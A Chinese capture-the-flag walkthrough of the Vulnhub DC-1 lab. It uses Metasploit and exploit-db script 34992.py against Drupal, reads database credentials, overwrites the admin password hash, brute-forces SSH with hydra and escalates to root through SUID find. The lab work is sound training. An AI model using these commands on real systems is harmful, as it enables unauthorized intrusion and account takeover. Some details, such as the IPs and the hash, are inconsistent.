Vulnhub靶场DC-1练习

news/2024/5/19 23:33:16/文章来源:https://blog.csdn.net/weixin_39762423/article/details/130071706

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用

0x00 准备

下载链接:https://download.vulnhub.com/dc/DC-1.zip

介绍:There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.(一共有五个flags,最终目标是进入root用户的目录。)

启动以后如下图:

在这里插入图片描述

将网络连接设置成桥接模式。

0x01 主机信息收集

发现主机:netdiscover -i eth0
在这里插入图片描述
可以确定目标主机的IP为192.168.2.145,本机的IP为192.168.2.157。

探测目标主机开放的端口:nmap -sS -sV -A -n 192.168.2.145

在这里插入图片描述

可以看到开启了22端口,80端口。

0x02 站点信息收集

访问80端口:http://192.168.2.145:80

在这里插入图片描述

网站是drupal的内容管理框架,由PHP编写的。可以明显的看出cms。

用dirb扫描一下网站目录:dirsearch -u 192.168.2.145 -e *

在这里插入图片描述
在这里插入图片描述

没有很特别的地方,可以先放一放这些目录。

0x03 漏洞查找与利用

已经知道是drupal的cms了,可以去查找一下相关的漏洞。这里直接用msf。

启动msf:msfconsole

搜索drupal相关的信息:search drupal

在这里插入图片描述

选择模块4:use 4

查看选项:show options

在这里插入图片描述

需要设置rhost,目的主机的IP:set rhosts 192.168.2.125

再运行:run

在这里插入图片描述

获得普通shell:shell

在这里插入图片描述

查看一下文件目录:ls

在这里插入图片描述

查看flag1.txt文件的内容:cat flag1.txt

在这里插入图片描述

这个文件提示我们去看一下配置文件。搜索drupal的配置文件,/site/default/settings.php,查看这个文件的内容:cat /site/default/settings.php

提示不存在这个这个文件,也许是换目录了,于是搜索:find / -name settings.php

在这里插入图片描述

找到了文件目录,再查看一下文件内容:cat /var/www/sites/default/settings.php

在这里插入图片描述

可以看到数据库的相关信息。

现在是普通shell,接下来升级成半交互式的shell来登录数据库:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

可以看到这个shell还只是普通用户(www-data),没有root权限。根据前面的提示进入mysql数据库:mysql -u dbuser -p R0ck3t

收集数据库中的信息:

显示所有的数据库:show databases;

切换数据库:use drupaldb

显示当前数据库的所有表:show tables;

看到一个user表,查看这个表的内容:select * from users;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

有两个用户,密码都加盐了。考虑给admin换个密码,或者添加一个和admin有一样权限的用户。

方式一:给admin换个密码123456

数据库里的密码是加密的,先找到drupal的加密文件/var/www/scripts/password-hash.sh,这个脚本是php写的,还能用php加上参数来运行,直接得到加密后的密码。所以用这个文件给123456加密:php /var/www/scripts/password-hash.sh 123456 (注意这里要先退出mysql)

在这里插入图片描述

框起来的部分就是123456加密后的内容了,复制一下:SSSDKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif

再进入mysql的drupaldb数据库的users表里,将name为admin的pass修改为上面复制的加密内容:update users set pass='$S$DKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif' where name='admin';

在这里插入图片描述

可以看到admin的密码已经更改为123456了。

方式二:添加一个admin权限的用户

drupal7版本有个sql注入的漏洞,可以添加一个admin权限的用户。Searchsploit会通过本地的exploit-db查找软件漏洞信息。在kali的终端里:searchsploit drupal 就可以查找drupal相关的漏洞信息。

在这里插入图片描述

利用这个脚本,path中有这个脚本的相对路径,前面的路径是/usr/share/exploitdb/exploits/,也可以利用命令查找这个脚本的完整路径:searchsploit 34992.py -p

在这里插入图片描述

再来看一下这个脚本的使用方法:python /usr/share/exploitdb/exploits/php/webapps/34992.py

在这里插入图片描述

添加一个名字为flag密码为flag的用户:python /usr/share/exploitdb/exploits/php/webapps/34992.py -u http://192.168.2.145 -u flag -p flag

在这里插入图片描述

可以看到插入用户成功了,可以进mysql里看一下是不是有:

在这里插入图片描述

用了上面两个方法以后,再去浏览器器中登录:http://192.168.2.145,用admin-123456也可以登陆成功,用flag-flag也可以登录成功。

在这里插入图片描述

可以看到已经登录成功了。找找看有没有什么有用的信息:

在这里插入图片描述

点进去这个flag3:

在这里插入图片描述

提示passwd和shadow文件有可以信息。

继续在msf的shell中查看/etc/passwd文件:tac /etx/passwd (cat是cong第一行到最后一行连续输出到屏幕上,tac是从最后一行到第一行连续输出到屏幕上。)

在这里插入图片描述

可以看到有个flag4用户。有两种思路拿到这个用户的密码,一个是爆破,一个是提权打开shadow文件查看这个用户的密码。

进行爆破:hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.2.145

在这里插入图片描述

爆破出来的可以登录的用户名和密码已经高亮显示出来了。

再去msf的shell中ssh连接(直接在kali的终端中也可以):ssh flag4@192.168.2.145

在这里插入图片描述

flag4文件的内容提示:你能用相同的方式登录root用户吗?也许可以,但是很难。

考虑SUID提权。

找到正在系统上运行的所有SUID可执行文件:find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

发现find命令具有suid的权限。那就用可以执行root权限的find命令来查找文件,做到suid提权。find命令也有执行命令的能力,-exec必须以 ; 来结束命令,由于分号在各个系统中有不同的意义,所以前面加反斜杠。

使用exec查看当前用户:find / index.php -exec "/bin/sh" \; (这里的index.php可以是任意文件名,只要是能在前面指定的根目录 / 下能确定找到的文件就可以。exec后面的命令不加双引号好像也可以。)

再用whoami命令看一下提权成功了没。

在这里插入图片描述

可以看到当前的用户为root。直接进入/root查看flag。

#0x04 思路总结

netdiscover探测目标主机IP,nmap查看主机开放的端口服务。浏览器访问站点进行站点相关的信息收集,用dirsearch扫一下站点的目录。上msf找模块利用。获得普通用户的shell,找数据库相关的信息,登录数据库,修改密码。网站登录用户,查找提示信息。用hydra爆破目标主机的用户密码,ssh连接目标主机,用find命令进行SUID提权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_96311.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux宝塔安装msyql服务,默认密码,允许远程登录问题解决

一、首先我在宝塔安装mysql服务是5.7 1.1MySQL数据库5.6之前(不包括)默认密码为空,用户不用输入密码,直接回车登陆 mysql -uroot -p password:(空) 1.2.MySQL数据库5.6之后(包括)默认密码是MySQL数据库随机…

Springboot基础学习之(十四):修改使用数据库中的数据源,修改为Druid:通过Druid实现后台监控

文章的顺序,是本人学习Springboot这个框架的先后顺序 这一篇文章讲解的是如何整合数据库中的数据源 Java程序很大一部分要操作数据库,为了提高性能操作数据库的时候,又不得不使用数据库连接池。 Druid 是阿里巴巴开源平台上一个数据库连接池实…

web综合

一,基于域名访问www.openlab.com 在文件当中写入IP与域名的映射关系 在windows中写入 也可以在客户端的/etc/hosts下写入映射关系 创建目录 [rootserver ~]# mkdir -pv /www/openlab 将所需要的内容写入对应目录当中 [rootserver ~]# echo welcome to openlab ! &…

五分钟排查Linux的健康状态

五分钟排查Linux的健康状态1. CPU1.1 top命令1.2 什么是负载1.3 vmstat2. 内存2.1 观测命令2.2 CPU缓存2.3 HugePage2.4 预先加载3. I/O3.1 观测命令3.2 零拷贝4. 网络参考:《Linux运维实战》、xjjdog 操作系统作为所有程序的载体,对应用的性能影响是非常…

华为运动健康服务Health Kit 6.10.0版本新增功能速览!

华为运动健康服务(HUAWEI Health Kit)6.10.0 版本新增的能力有哪些? 阅读本文寻找答案,一起加入运动健康服务生态大家庭! 一、 支持三方应用查询用户测量的连续血糖数据 符合申请Health Kit服务中开发者申请资质要求…

初识掌控板2.0、官方拓展板和配套编程软件mpython

不是广告!!不是广告!! 一、掌控板2.0概览 掌控板又名掌上联网计算机,是一款为青少年学习Python编程和创意制造,特别是物联网应用而设计的开源硬件。内置microPython开源嵌入式Python运行环境,可…

查询优化器:选择最优的查询路径

当我们通过解析器理解了SQL语句要干什么之后,接着会找查询优化器(Optimizer)来选择一个最优的查询路径。 可能有同学这里就不太理解什么是最优的查询路径了,这个看起来确实很抽象,当然,这个查询优化器的工…

C51单片机串口通信(概念部分)

1.通信的基本概念 1.1:串行通信与并行通信 (1).串行通信 串行通信是指用一根数据线将 一个字节的八个bit位连接,从低位开始依次传输。 优点:成本便宜,传输稳定 缺点:速度慢 并行通信是指将一…

阿里云蔡英华:云智一体,让产业全面迈向智能

4月11日,在2023阿里云峰会上,阿里云智能首席商业官蔡英华表示,算力的飞速发展使数字化成为确定,使智能化成为可能。阿里云将以云计算为基石,以AI为引擎,参与到从数字化迈向智能化的划时代变革中。 基于服务…

第三十天 Maven高级

目录 Maven高级 1. 分模块设计与开发 1.1 介绍 1.2实践 1.3 总结 2. 继承与聚合 2.1 继承 2.2 聚合 2.3 继承与聚合对比 3. 私服 3.1 场景 3.2 介绍 3.3 资源上传与下载 Maven高级 Web开发讲解完毕之后,我们再来学习Maven高级。其实在前面的课程当中&am…

论文笔记|CVPR2023:Semantic Prompt for Few-Shot Image Recognition

论文地址:https://arxiv.org/pdf/2303.14123.pdf 这是一篇2023年发表在CVPR上的论文,论文题目是Semantic Prompt for Few-Shot Image Recognitio,即用于小样本图像识别的语义提示。 1 Motivation 第一,最近几项研究利用 语义信…

矿泉水为什么会溴酸盐超标

矿泉水为什么会溴酸盐超标? 水生产企业多使用臭氧消毒,不过,水生产企业不存在水运输路途遥远的问题,因此可以使用臭氧消毒。同时,也是因为臭氧在消毒后会直接变成氧气,所以不会有使用氯消毒后的那种味道&a…

我在“Now In Android”中学到的 9 件事

我在“Now In Android”中学到的 9 件事 Now in Android是一款功能齐全的 Android 应用程序,完全使用 Kotlin 和 Jetpack Compose 构建。它遵循 Android 设计和开发最佳实践,旨在为开发人员提供有用的参考。 https://github.com/android/nowinandroid UI…

【软考备战·希赛网每日一练】2023年4月11日

文章目录一、今日成绩二、错题总结第一题第二题第三题第四题第五题三、知识查缺题目及解析来源:2023年04月11日软件设计师每日一练 一、今日成绩 二、错题总结 第一题 解析: 策略模式:定义一系列算法,把它们一个个封装起来&#…

c++学习之c++对c的扩展1

目录 1.面向过程与面向对象的编程 2.面向对象编程的三大特点 3.c对c的扩展: 1.作用域运算符:: 2.命名空间 1.c命名空间(namespace) 2.命名空间的使用 1.在不同命名空间内可以创建相同的名称 2.命名空间只能在全…

2.30、守护进程(1)

2.30、守护进程(1)1.终端是什么2.进程组是什么3.会话是什么4.进程组、会话、控制终端之间的关系5.进程组、会话操作有哪些函数①pid_t getpgrp(void);②pid_t getpgid(pid_t pid);③int setpgid(pid_t pid, pid_t pgid);④pid_t getsid(pid_t pid);⑥pid…

Java 在循环的try catch中使用continue、break

循环的try catch中使用continue、break。 结论:1. 循环内catch代码端中的的continue、break可以正常生效。 2. 无论是continue还是break,退出循环前都会执行finally中的代码 文章目录代码:情形1(无continue、break)结果…

HTTP协议状态码大全 | 汇总HTTP所有状态码

🔊 HTTP 状态码 当浏览者访问一个网页时,浏览者的浏览器会向网页所在服务器发出请求。当浏览器接收并显示网页前,此网页所在的服务器会返回一个包含 HTTP 状态码的信息头(server header)用以响应浏览器的请求。 HTTP…

有反爬机制就爬不了吗?那是你还不知道反反爬,道高一尺魔高一丈啊

文章目录一、从用户请求的Headers反爬虫二、基于用户行为反爬虫(1)方法1(2)方法2三、动态页面的反爬虫四.总结不知道你们在用爬虫爬数据的时候是否有发现,越来越多的网站都有自己的反爬机制,抓取数据已经不…

300元左右的蓝牙耳机哪个好?300左右音质最好的蓝牙耳机

无线耳机是人们日常生活中必不可少的设备,无论是听音乐化石看电影都能获得身临其境的感觉,由于科技真在发展中,不断地的发生变化,百元价位就可以感受到不错的音色,下面小编整理了几款300左右音质表现不错的蓝牙耳机。 …